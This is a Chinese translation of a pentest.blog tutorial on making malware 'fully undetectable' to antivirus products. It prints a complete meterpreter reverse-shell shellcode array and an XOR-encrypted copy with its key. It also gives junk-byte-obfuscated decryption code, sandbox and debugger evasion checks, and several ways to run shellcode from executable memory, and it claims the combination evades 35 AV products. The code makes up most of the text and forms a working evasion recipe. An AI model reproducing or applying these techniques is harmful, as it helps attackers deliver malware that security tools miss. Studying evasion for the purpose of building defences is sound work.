原文地址: https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/
本文将讲解绕过静态、动态、启发式分析等最新的防病毒产品检测的方法,有些方法已经众所知,但是还有一些方法和实现技巧可以来生成 FUD
(对所有杀毒软件都免杀)恶意软件。
恶意软件的大小差不多和反检测一样重要,当达到免杀时我会尽量减小它的体积。
本文还讲解了反毒软件和 Windows
操作系统内部的底层工作原理,阅读者应该至少具有 C/C++、汇编知识的一种,并对 PE
文件结构有一定的了解。
实现反检测技术应针对每种恶意软件类型做不同的处理,本文中讲解的所有方法将适用于所有类型的恶意软件。
但本文主要集中在 meterpreter
这种 payload 上,因为 meterpreter
能做所有其他恶意软件做的事情,例如: 提权、凭证窃取、进程迁移、注册表操作和分配更多的后续攻击,meterpreter
还有一个非常活跃的社区,并且它在安全研究人员中非常流行。
译者注:
恶意软件分类:病毒、木马、僵尸程序、流氓软件、勒索软件、广告程序等 https://zh.wikipedia.org/wiki/%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6
Meterpreter 是一种高级可动态扩展的有效负载,它使用内存中的 DLL 注入 stager,并在运行时通过网络扩展。 https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
传统的防病毒软件很大程度上依赖于签名来识别恶意软件。
基本上当恶意软件样本到达防病毒公司手中时,它由恶意软件研究人员或动态分析系统分析。然后,一旦确定是恶意软件,则提取文件的适当签名并将其添加到反病毒软件的签名数据库中。[1]
静态程序分析是在不实际运行程序的情况下进行软件的分析。
在大多数情况下,分析是对某些版本的源代码进行的。而在其他情况下,是某种形式的目标代码(译者注: 如二进制文件, 需要进行逆向反汇编操作
)。[2]
动态程序分析是通过在真实或虚拟处理器上执行程序而进行的计算机软件的分析。 为了使动态程序分析有效,目标程序必须执行足够的测试输入以产生有趣的行为(如: 异常退出)。[3]
在计算机安全中,沙箱是用于隔离正在运行的程序的安全机制。 它通常用于执行未经测试或不受信任的程序或代码,这个程序代码可能来自未经验证的或不受信任的第三方、供应商、用户或网站,而不会危害主机或操作系统。[4]
启发式分析是许多计算机防病毒软件使用的一种方法,其被设计用于检测未知的计算机病毒,以及新的病毒变体。
启发式分析是基于专家的分析,其确定系统对特定威胁/风险使用各种决策规则或衡量方法。 多标准分析(MCA)是衡量的手段之一。 这种方法不同于统计分析,其基于可用的数据/统计。[5]
在计算中,熵是由操作系统或应用收集的用于在密码学或需要随机数据的其他用途中使用的随机性。
这种随机性通常从硬件源收集,例如鼠标移动或专门提供的随机发生器。 缺乏熵可能对性能和安全性产生负面影响。[6]
当涉及到减少恶意软件被检测到的风险时,我们首先考虑到的是加密、加壳和代码混淆。
当然这些工具和技术仍然能够绕过大量的 AV
产品,但是由于网络安全领域的不断进步,大部分流行的工具和方法已经逐步过时,不能够创造出 FUD(免杀的)恶意软件。
为了理解这些技术和工具的内部原理,我会给出简要的描述;
代码混淆可以被定义为混合二进制的源代码而不破坏真实函数,它使得静态分析更困难,并且还改变二进制的散列签名。
可以通过添加几行垃圾代码或以编程方式更改指令的执行顺序来实现混淆。 这种方法可以绕过良好的 AV
产品,但它的效果取决于你混淆的次数。
加壳将可执行文件进行压缩打包, 并将压缩数据与解压缩代码组合成单个可执行文件的一种手段。 当执行被压缩过的可执行文件时,解压缩代码会在执行之前从压缩数据中重新创建原始代码。
在大多数情况下这个操作是透明的,所以压缩过的可执行文与原始程序一样可以正常运行。当 AV
扫描器扫描压缩过的恶意软件时,它需要知道压缩算法并将其解压缩。 因为压缩过的文件更难分析, 所以恶意软件一般都会被压缩加壳等。
加密是对给定的二进制程序进行加密,使其难以分析或被逆向。 加密存在两个部分: 一个构建器,一个存根。构建器只是加密给定的二进制在 stub 内的位置,stub 是该加密的最重要的部分,当我们的二进制执行,第一 stub 运行和解密原始二进制到存储器,然后通过 "RunPE"
方法(在大多数情况下)对存储器执行 binary。
在开始之前,我们需要知道主流技术和工具中有哪些错误。 今天的 AV
公司已经意识到了危险,他们现在不仅仅是对恶意软件签名和有害行为分析,还能够识别加壳与加密的痕迹。
与检测恶意软件相比,检测加密和加壳是相对容易的,因为他们都有某些可疑的行为,如: 解密加密过的 PE
文件,并在内存上执行它。
为了完全理解 PE
映像在内存执行情况, 我们需要先谈论下 Windows
中如何加载 PE
文件。
通常,当编译 PE
文件时,编译器将主模块地址设置为 0x00400000
,同时根据主模块地址计算编译过程中所有完整地址指针和地址的长跳转指令,在编译过程结束时编译器在 PE
文件中创建一个重定位分区表,重定位分区表包含映像基地址的指令地址,诸如完整地址指针和长跳转指令。
在执行 PE
映像时,操作系统检查 PE
映像的首选地址空间是否可用,如果首选地址空间不可用,则操作系统将 PE
映像随机加载到一个可用的内存地址上,在启动进程之前系统加载程序需要调整内存上的绝对地址,在重定位分区系统加载器的帮助下修正所有地址相关指令并启动挂起的进程。
所有这种机制称为 “地址布局随机化(ASLR)
”。[7]
为了让内存中的密码器执行 PE
映像,需要解析 PE
报头并重新定位绝对地址。几乎在我们对每一种用 C
或更高级语言编写的加密程序分析时,我们经常可以看到 “NtUnmapViewOfSection
”、
“ZwUnmapViewOfSection
” 这些 Windows API 函数接口的调用,这些函数简单地从主体进程的虚拟地址空间中取消映射一个分区视图,它们在内存执行方法调用中 RunPE
扮演了非常重要的角色几乎使用了90%。
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
当然,AV
产品不能仅仅因为程序使用了这些 Windows API 函数,就认为每个程序都是恶意的,但使用这些函数的顺序很重要。 有小部分的 crypters
(大多数写在汇编)不使用这些功能和手动执行重定位,他们是有时效性的,使用 crypters
不合算,因为在逻辑上没有无害的程序会尝试模仿系统的加载程序。
另一个缺点是输入文件的巨大熵增加,因为加密整个 PE
文件,熵将不可避免地上升,当 AV
扫描程序检测到 PE
文件上的异常熵时,他们可能会将文件标记为可疑。
加密恶意代码的概念是明智的,但是解密功能应当被正确地混淆,并且当涉及在内存中执行解密的代码时,我们必须在不重定位绝对地址的情况下进行,还必须有检测机制检查恶意软件是否在沙箱中被动态分析,如果检测机制检测到恶意软件正由 AV
分析,则不应执行解密功能。而不是加密整个 PE
文件,应当加密 shellcode
或只有 .text
节的二进制最佳,它保持熵和低体积,并且不更改图像头和节。
这是恶意软件流程图。
我们的 “AV检测” 功能将检测恶意软件是否正在沙箱中被动态分析,如果功能检测到AV扫描器的任何迹象,则它将再次调用主函数或者仅当 “AV Detect” 函数来用。如果没有发现AV扫描器的任何迹象,它会调用 “解密Shellcode” 的功能。
这是 meterpreter
反向连接 shellcode
的原始格式。
unsigned char Shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77,
0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8,
0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b,
0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02,
0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40,
0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56,
0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c,
0xff, 0x4e, 0x08, 0x75, 0xec, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5,
0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff,
0xd5, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a,
0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00,
0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x01, 0xc3,
0x29, 0xc6, 0x75, 0xee, 0xc3
};
为了保持熵和体积大小在适当的值,我将这个 shellcode
传递给简单的 xor
密码与多字节 key,xor
不是像 RC4
或 blowfish
加密标准,但我们不需要一个强加密,AV产品不会尝试解密 shellcode
,使其不可读和不可检测的静态字符串分析就足够了,
也使用 xor
进行解密过程更快更多,避免加密库在代码中将减少很多体积。
这是同一个 meterpreter
代码用 XOR
加密后。
unsigned char Shellcode[] = {
0xfb, 0xcd, 0x8d, 0x9e, 0xba, 0x42, 0xe1, 0x93, 0xe2, 0x14, 0xcf, 0xfa,
0x31, 0x12, 0xb1, 0x91, 0x55, 0x29, 0x84, 0xcc, 0xae, 0xc9, 0xf3, 0x32,
0x08, 0x92, 0x45, 0xb8, 0x8b, 0xbd, 0x2d, 0x26, 0x66, 0x59, 0x0d, 0xb2,
0x9a, 0x83, 0x4e, 0x17, 0x06, 0xe2, 0xed, 0x6c, 0xe8, 0x15, 0x0a, 0x48,
0x17, 0xae, 0x45, 0xa2, 0x31, 0x0e, 0x90, 0x62, 0xe4, 0x6d, 0x0e, 0x4f,
0xeb, 0xc9, 0xd8, 0x3a, 0x06, 0xf6, 0x84, 0xd7, 0xa2, 0xa1, 0xbb, 0x53,
0x8c, 0x11, 0x84, 0x9f, 0x6c, 0x73, 0x7e, 0xb6, 0xc6, 0xea, 0x02, 0x9f,
0x7d, 0x7a, 0x61, 0x6f, 0xf1, 0x26, 0x72, 0x66, 0x81, 0x3f, 0xa5, 0x6f,
0xe3, 0x7d, 0x84, 0xc6, 0x9e, 0x43, 0x52, 0x7c, 0x8c, 0x29, 0x44, 0x15,
0xe2, 0x5e, 0x80, 0xc9, 0x8c, 0x21, 0x84, 0x9f, 0x6a, 0xcb, 0xc5, 0x3e,
0x23, 0x7e, 0x54, 0xff, 0xe3, 0x18, 0xd0, 0xe5, 0xe7, 0x7a, 0x50, 0xc4,
0x31, 0x50, 0x6a, 0x97, 0x5a, 0x4d, 0x3c, 0xac, 0xba, 0x42, 0xe9, 0x6d,
0x74, 0x17, 0x50, 0xca, 0xd2, 0x0e, 0xf6, 0x3c, 0x00, 0xda, 0xda, 0x26,
0x2a, 0x43, 0x81, 0x1a, 0x2e, 0xe1, 0x5b, 0xce, 0xd2, 0x6b, 0x01, 0x71,
0x07, 0xda, 0xda, 0xf4, 0xbf, 0x2a, 0xfe, 0x1a, 0x07, 0x24, 0x67, 0x9c,
0xba, 0x53, 0xdd, 0x93, 0xe1, 0x75, 0x5f, 0xce, 0xea, 0x02, 0xd1, 0x5a,
0x57, 0x4d, 0xe5, 0x91, 0x65, 0xa2, 0x7e, 0xcf, 0x90, 0x4f, 0x1f, 0xc8,
0xed, 0x2a, 0x18, 0xbf, 0x73, 0x44, 0xf0, 0x4b, 0x3f, 0x82, 0xf5, 0x16,
0xf8, 0x6b, 0x07, 0xeb, 0x56, 0x2a, 0x71, 0xaf, 0xa5, 0x73, 0xf0, 0x4b,
0xd0, 0x42, 0xeb, 0x1e, 0x51, 0x72, 0x67, 0x9c, 0x63, 0x8a, 0xde, 0xe5,
0xd2, 0xae, 0x39, 0xf4, 0xfa, 0x2a, 0x81, 0x0a, 0x07, 0x25, 0x59, 0xf4,
0xba, 0x2a, 0xd9, 0xbe, 0x54, 0xc0, 0xf0, 0x4b, 0x29, 0x11, 0xeb, 0x1a,
0x51, 0x76, 0x58, 0xf6, 0xb8, 0x9b, 0x49, 0x45, 0xf8, 0xf0, 0x0e, 0x5d,
0x93, 0x84, 0xf4, 0xf4, 0xc4
};
unsigned char Key[] = {
0x07, 0x25, 0x0f, 0x9e, 0xba, 0x42, 0x81, 0x1a
};
因为我们正在写一个新的恶意软件,我们的恶意软件的哈希签名将不会被反病毒产品所知,所以我们不需要担心基于签名的检测,我们将加密我们的 shellcode
和混淆我们的反检测/反逆向的解密函数, 这是用于绕过静态/启发式分析阶段的方法。只有个阶段我们需要绕过,它是动态分析阶段,最重要的部分是 “AV检测” 功能的成功。开始编写函数之前,我们需要了解AV产品的启发式引擎是如何工作。
启发式引擎基本上是基于统计和规则的分析机制。它们的主要目的是通过根据预定义标准对代码片段进行分类和提供威胁/风险等级来检测新一代(先前未知的)病毒,即使当由AV产品扫描简单的 hello world
程序时,启发式引擎决定威胁/风险分数该分数高于阈值,那么该文件被标记为恶意。 启发式引擎是他们使用大量规则和标准的AV产品的最先进的部分,因为没有反病毒公司发布蓝图或关于他们的启发式引擎的文档所有已知的威胁/风险分级政策的选择性标准被发现尝试和错误。
一些关于威胁分级的已知规则;
当我们写反AV检测和解密 Shellcode
的函数时,我们必须小心上面提到的所有规则。
混淆解密机制是至关重要的,大多数AV启发式引擎能够检测 PE
文件中的解密循环,在勒索软件案例的成倍增加后,甚至一些启发式引擎主要仅用于查找加密/解密行为,在它们检测到解密行为 ,一些扫描器等待直到 ECX
寄存器大多数时间指示循环结束的 “0”,在它们到达解密循环的结束之后,它们将重新分析文件的解密内容。
这将是 “解密Shellcode” 函数:
void DecryptShellcode() {
for (int i = 0; i < sizeof(Shellcode); i++) {
__asm
{
PUSH EAX
XOR EAX, EAX
JZ True1
__asm __emit(0xca)
__asm __emit(0x55)
__asm __emit(0x78)
__asm __emit(0x2c)
__asm __emit(0x02)
__asm __emit(0x9b)
__asm __emit(0x6e)
__asm __emit(0xe9)
__asm __emit(0x3d)
__asm __emit(0x6f)
True1:
POP EAX
}
Shellcode[i] = (Shellcode[i] ^ Key[(i % sizeof(Key))]);
__asm
{
PUSH EAX
XOR EAX, EAX
JZ True2
__asm __emit(0xd5)
__asm __emit(0xb6)
__asm __emit(0x43)
__asm __emit(0x87)
__asm __emit(0xde)
__asm __emit(0x37)
__asm __emit(0x24)
__asm __emit(0xb0)
__asm __emit(0x3d)
__asm __emit(0xee)
True2:
POP EAX
}
}
}
它是一个for循环,使得 Shellcode
字节和关键字节之间进行逻辑 xor
操作,下面和上面的汇编块字面上注释,它们覆盖了随机字节和跳过它们的逻辑 xor
操作。 因为我们没有使用任何高级解密机制,这将足以混淆“ 解密Shellcode” 功能。
写入沙盒检测机制时,我们需要混淆我们的方法,如果启发式引擎检测到任何反逆向工程方法的行为时,这将影响到恶意软件的威胁分数。
我们的第一个AV检测机制将检查我们的进程中是否启用了调试器,有一个 Windows API
函数可以使用,它的主要工作是 “确定是否调用进程正由用户模式调试器调试
“。但我们不会使用它,因为大多数AV产品都是监控 Windows API
调用的,他们可以使用逆向工程的方法来检测和处理。而不是使用 Windows API
函数,我们来看看 PEB(Process Environment Block) 块中的 “BeingDebuged” 字节。
// bool WINAPI IsDebuggerPresent(void);
__asm
{
CheckDebugger:
PUSH EAX // Save the EAX value to stack
MOV EAX, DWORD PTR FS : [0x18] // Get PEB structure address
MOV EAX, DWORD PTR[EAX + 0x30] // Get being debugged byte
CMP BYTE PTR[EAX + 2], 0 // Check if being debuged byte is set
JNE CheckDebugger // If debugger present check again
POP EAX // Put back the EAX value
}
使用一些内联汇编这段代码指向 PEB 块中的 BeingDebuged 字节的指针,如果调试器存在,它将再次检查,直到堆栈中发生溢出,当溢出发生时,堆栈保护(stack canaries)将触发异常并且关闭进程, 这是退出程序的最短方法。
手动检查 BeingDebuged 字节将绕过大量的 AV 产品,但仍有一些AV产品已经能够对这种手段进行检测,所以我们需要混淆代码,以避免静态字符串分析。
__asm
{
CheckDebugger:
PUSH EAX
MOV EAX, DWORD PTR FS : [0x18]
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J
__asm __emit(0xea)
J:
POP EAX
}
MOV EAX, DWORD PTR[EAX + 0x30]
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J2
__asm __emit(0xea)
J2:
POP EAX
}
CMP BYTE PTR[EAX + 2], 0
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J3
__asm __emit(0xea)
J3:
POP EAX
}
JNE CheckDebugger
POP EAX
}
我在所有操作后添加了跳转指令,这将不会影响程序正常执行,但是在跳转之间添加垃圾字节将混淆代码,并避免静态字符串过滤器。
我们将尝试在运行时加载一个不存在的 dll
。 通常当我们尝试加载一个不存在的 dll
时 HISTENCE
返回 NULL
,但AV产品中的一些动态分析机制允许这种情况,以便进一步分析程序的执行流程。
bool BypassAV(char const * argv[]) {
HINSTANCE DLL = LoadLibrary(TEXT("fake.dll"));
if (DLL != NULL) {
BypassAV(argv);
}
在这种方法中我们将利用 AV 产品的时间截止日期。 在大多数情况下,AV 产品是为了用户友好性设计的,为了不影响用户的其他操作,他们不能花费太多的时间来扫描文件。最初恶意软件开发人员使用 “sleep()” 函数等待扫描完成,但现在这个技巧几乎不能用,因为每个AV产品能够跳过 sleep 功能。
我们将使用 “GetThickCount()” 的 Windows API
函数(“此函数检索系统启动后已经过去的毫秒数,最多为49.7天
“),我们使用它来获取从操作系统启动后经过的时间,然后尝试 sleep 1秒 sleep 后,我们将通过比较两个 GetTickCout()
值来检查睡眠功能是否被跳过。
int Tick = GetTickCount();
Sleep(1000);
int Tac = GetTickCount();
if ((Tac - Tick) < 1000) {
return false;
}
由于AV产品不能够从宿主机分配太多的资源,我们可以检查处理器核心数量,以确定我们是否在沙盒中。 甚至一些AV产品不支持多核处理,因此他们不支持超过1个处理器核心到他们的沙箱环境中。
SYSTEM_INFO SysGuide;
GetSystemInfo(&SysGuide);
int CoreNum = SysGuide.dwNumberOfProcessors;
if (CoreNum < 2) {
return false;
}
这种方法还利用每个AV扫描的时间截止日期,我们简单地分配近 100 Mb
的内存,然后我们将填充它的 NULL
字节,最后我们将释放它。
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if (Memdmp != NULL) {
memset(Memdmp, 00, 100000000);
free(Memdmp);
}
当程序内存在运行时开始增长时,最终AV扫描器将结束扫描,以免在扫描文件上花费太多时间,此方法可以多次使用。 这是一个非常原始和老的技术,但它仍然绕过了大量的扫描。
陷阱标志用于跟踪程序,如果此标志被设置,所有指令都将引发 “SINGLE_STEP” 异常。我们可以操纵陷阱标志以阻止跟踪器,如用下面的代码来操作陷阱标志:
__asm
{
PUSHF // Push all flags to stack
MOV DWORD [ESP], 0x100 // Set 0x100 to the last flag on the stack
POPF // Put back all flags register values
}
这种方法非常有前途,因为它的简单性,我们创建一个条件来检查某个互斥对象是否已经存在于系统上。
HANDLE AmberMutex = CreateMutex(NULL, TRUE, "FakeMutex");
if(GetLastError() != ERROR_ALREADY_EXISTS){
WinExec(argv[0],0);
}
如果 “CreateMutex” 函数没有返回已存在的错误,我们可再次执行恶意软件,因为大多数 AV 产品动态分析时不让程序启动新进程或访问 AV 沙盒外部的文件,当已经存在错误发生时,可以开始执行解密功能。 在反检测中有更多创造性的方法来使用互斥体。
从Windows Vista开始,Microsoft引入了数据执行保护或DEP[8],这是一种安全功能,可以通过不时监视程序来帮助防止损坏计算机。监控确保运行的程序有效地使用系统内存。如果计算机上的某个程序的实例使用内存不正确,DEP通知它关闭程序并通知用户。 这意味着你不能只是把一些字节放到一个字符数组并执行它,你需要使用Windows API函数分配一个带有读、写和执行标志的内存区域。
Microsoft有几个用于保留内存页面的内存处理API函数,大多数常见的恶意软件在字段中使用 “VirtualAlloc” 函数来保留内存页面,因为你可以猜测函数的常用功能帮助AV产品定义检测规则,使用其他内存操纵功能也会做到这一点,他们可能吸引较少的关注。
我将列出几种具有不同内存操作API函数的 shellcode
执行方法,
Windows 还允许创建 RWE 堆区域。
void ExecuteShellcode(){
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(Shellcode), sizeof(Shellcode));
char * BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(Shellcode));
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
LoadLibrary
和 GetProcAddress
API 函数组合允许我们使用所有其他的 Windows API 函数,与这种用法将没有直接调用内存操作函数和恶意软件可能会较少吸引力。
void ExecuteShellcode(){
HINSTANCE K32 = LoadLibrary(TEXT("kernel32.dll"));
if(K32 != NULL){
MYPROC Allocate = (MYPROC)GetProcAddress(K32, "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
}
这个方法甚至不使用 LoadLibrary
函数,它利用已经加载的 kernel32.dll
,GetModuleHandle
函数从已经加载的 dll 中检索模块句柄,这种方法可能是执行 shellcode
最悄无声息的方法之一。
void ExecuteShellcode(){
MYPROC Allocate = (MYPROC)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
它总是更难于反向工程多线程 PE 文件,它也是具有挑战性的AV产品,多线程方法可以使用所有上面所说的执行方式,而不是只是指向一个函数指针到 shellcode
。 它创建一个新线程将执行复杂AV扫描,它允许我们在执行 shellcode
的同时继续执行 “AV Detect” 功能。
void ExecuteShellcode(){
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
CreateThread(NULL,0,LPTHREAD_START_ROUTINE(BUFFER),NULL,0,NULL);
while(TRUE){
BypassAV(argv);
}
}
上面的代码执行 shellcode
与创建一个新的线程,只是在创建线程后有一个无限whlie循环执行旁路AV功能,这种方法几乎是我们的旁路AV功能双倍的效果,旁路AV功能将继续检查沙盒和动态分析符号,而 shellcode
运行,这也是绕过一些高级的启发式引擎,直到执行 shellcode
的关键。
到最后,关于编译恶意软件还有很多事情需要涵盖。当编译源码时,像堆栈保护程序需要打开的保护措施,增强我们的恶意软件的逆向工程难度和减小大用条带化的符号是至关重要的。在本文中使用的内联汇编语法,建议在 visual studio
上编译。
使用这些方法组合,生成的恶意软件能够绕过35款最先进的AV产品。